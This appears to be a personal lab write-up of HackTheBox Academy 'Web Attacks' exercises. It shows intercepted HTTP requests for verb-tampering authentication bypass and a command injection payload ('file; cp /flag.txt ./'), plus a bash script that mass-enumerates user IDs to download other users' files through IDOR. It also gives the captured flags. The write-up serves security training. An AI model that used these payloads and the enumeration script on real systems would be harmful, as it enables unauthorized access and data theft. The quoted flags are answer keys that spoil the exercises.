WEB ATTACKS

BYPASSING BASIC AUTHENTICATION

Try to use what you learned in this section to access the 'reset.php' page and delete all files. Once all files are deleted, you should get the flag.
#identify the restricted page by walking the application
root@oco:~$ BROWSER > {targetSite:port} >
 * /admin and /admin/reset.php are restricted; 401 unauthorized
 
#identify the HTTP request method used by the web application
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
 username field: invalid
 password field: invalid
 * submit expected input
 
BURP > Proxy
 Request
  ...
  GET /admin/reset.php HTTP/1.1
  Host: 83.136.248.51:30992
  Authorization: Basic aW52YWxpZDppbnZhbGlk
  
  * identified GET request
  
#test whether the webapp access other requests such as POST, etc
BURP > Proxy > Change Request Method > Forward
 Request
  ...
  POST /admin/reset.php HTTP/1.1
  Host: 83.136.248.51:30992
  Authorization: Basic aW52YWxpZDppbnZhbGlk
  Content-Type: application/x-www-form-urlencoded

 * after examination, still received 401 Unauthorized
    - this indicates that the web server configurations covers both GET and POST requests
    
    
#test other requests
root@oco:~$ curl -i -X OPTIONS http://83.136.248.51:30992/
 * if the output does not show specific options allowed by the web server, proceed with the test
    - Allow: POST,OPTIONS,HEAD,GET

#test whether the webapp access other requests such as HEAD, PUT, DELETE, PATCH, etc
BURP > Proxy > Change Request Method > Forward
 Request
  ...
  HEAD /admin/reset.php HTTP/1.1                    //changed POST to PUT
  Host: 83.136.248.51:30992
  Authorization: Basic aW52YWxpZDppbnZhbGlk
  Content-Type: application/x-www-form-urlencoded

 * the HEAD method is identical to a GET request but does not return the body 
   in the HTTP response. If this is successful, no output may be received; however, 
   functions should still get executed, which is the main target.
    -  HEAD is the default configuration for many web servers
 * when the PUT HTTP request is used, the /admin/reset.php page will not display any contents
 
root@oco:~$ curl http://94.237.54.116:52333
 * HTB{4lw4y5_c0v3r_4ll_v3rb5}

BYPASSING SECURITY FILTERS

To get the flag, try to bypass the command injection filter through HTTP Verb Tampering, while using the following filename: file; cp /flag.txt ./
#identify the restricted page by walking the application
root@oco:~$ BROWSER > {targetSite:port}
 input field: {arbitraryValue};
 output: Malicious Request Denied!
 * semi-colon is used to test the webapp's security filtering mechanism
 
#intercept & change the request method
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
 input field: {arbitraryValue};
 
BURP > Proxy
 Request
  ...
  POST /index.php HTTP/1.1               //changed from GET to POST
  Host: 94.237.54.116:31220
  Referer: http://94.237.54.116:31220/index.php
  Content-Type: application/x-www-form-urlencoded

  filename=test2%3B
  
 * changing the HTTP Request may bypass the security filter
   
#confirm bypass through cmd injection vulnerability
BURP > Proxy > Change Request Method
 input field: cp /flag.txt ./
 
 Request
  ...
  POST /index.php HTTP/1.1               //changed from GET to POST
  POST /index.php HTTP/1.1
  Host: 94.237.54.116:31220
  Referer: http://94.237.54.116:31220/index.php
  Content-Type: application/x-www-form-urlencoded

  filename=cp+%2Fflag.txt+.%2F
  
 * forward the modified request as many times as necessary
  
 * HTB{b3_v3rb_c0n51573n7}

MASS IDOR ENUMERATION

Repeat what you learned in this section to get a list of documents of the first 20 user uid's in /documents.php, one of which should have a '.txt' file with the flag.
#walk the application
root@oco:~$ BROWSER > {targetSite:port}
 Documents
 Contracts
root@oco:~$ BROWSER > {targetSite:port}/documents.php > CTRL+U
 <li class="pure-tree_link">...
root@oco:~$ BROWSER > {targetSite:port}/Contracts.php > CTRL+U
 <li class="pure-tree_link">...
 
#IDOR identification & testing: Plaint-Text URL Parameter value
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
 Request
  ...
  POST /documents.php HTTP/1.1
  Host: 94.237.62.184:42702
  Origin: http://94.237.62.184:42702
  Content-Type: application/x-www-form-urlencoded
  Referer: http://94.237.62.184:42702/

  uid=1

 * study the HTTP requests to look for URL parameters or APIs with an object reference
    - this may also be found in other HTTP headers, like cookies.
root@oco:~$ BROWSER > {targetSite:port}
 URL parameter: ?uid={arbitraryValue} or ?filename=file_{arbitraryValue}.pdf

 * try incrementing the values of the object references to retrieve other data
    - changed uid=1 to uid=2 and received
       - GET /documents/Invoice_2_08_2020.pdf HTTP/1.1
#test manual download
root@oco:~$ curl -X POST "http://94.237.62.184:42702/documents.php?uid=1" | grep -oP "\/documents.*?.pdf"
root@oco:~$ ls ~/Downloads
 contract_c4ca4238a0b923820dcc509a6f75849b-1.pdf
 contract_c4ca4238a0b923820dcc509a6f75849b.pdf
 
#verify idor w/ burp
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
 Request
  ...
  POST /documents.php HTTP/1.1
  Host: 94.237.62.184:42702
  Origin: http://94.237.62.184:42702
  Content-Type: application/x-www-form-urlencoded
  Referer: http://94.237.62.184:42702/

  uid=1
  
BURP > Proxy > Send to Repeater
 * keep incrementing the "uid" parameter manually

#download all documents from all employees with uids between 1-10
root@oco:~$ nano idorStaticFileEnumeration.sh
#!/bin/bash

url="94.237.62.184:42702"

for i in {1..20}; do
  # Fetch the document links for each user ID
  for link in $(curl -s -X POST "$url/documents.php" -d "uid=$i" | grep -oP "\/documents\/[^']+\.(pdf|txt)"); do
    # Download each file with proper URL construction and quoting
    wget -q -P /home/{targetSite:port}/Downloads/ "${url}${link}"
  done
done
 
root@oco:~$ chmod 777 idorStaticFileEnumeration.sh
root@oco:~$ ./idorStaticFileEnumeration.sh
 flag_11dfa168ac8eb2958e38425728623c98.txt 
root@oco:~$ cat flag_11dfa168ac8eb2958e38425728623c98.txt
 * HTB{4ll_f1l35_4r3_m1n3}

BYPASSING ENCODED REFERENCES

Try to download the contracts of the first 20 employee, one of which should contain the flag, which you can read with 'cat'. You can either calculate the 'contract' parameter value, or calculate the '.pdf' file name directly.

IDOR IN INSECURE APIS

Try to read the details of the user with 'uid=5'. What is their 'uuid' value?

CHAINING IDOR VULNERABILITIES

Try to change the admin's email to '[email protected]', and you should get the flag on the 'edit profile' page.

LOCAL FILE DISCLOSURE

Try to read the content of the 'connection.php' file, and submit the value of the 'api_key' as the answer.

ADVANCED FILE DISCLOSURE

Use either method from this section to read the flag at '/flag.php'. (You may use the CDATA method at '/index.php', or the error-based method at '/error').

BLIND DATA EXFILTRATION

Using Blind Data Exfiltration on the '/blind' page to read the content of '/327a6c4304ad5938eaf0efb6cc3e53dc.php' and get the flag.
PreviousBROKEN AUTHENTICATIONNextFILE INCLUSION

Last updated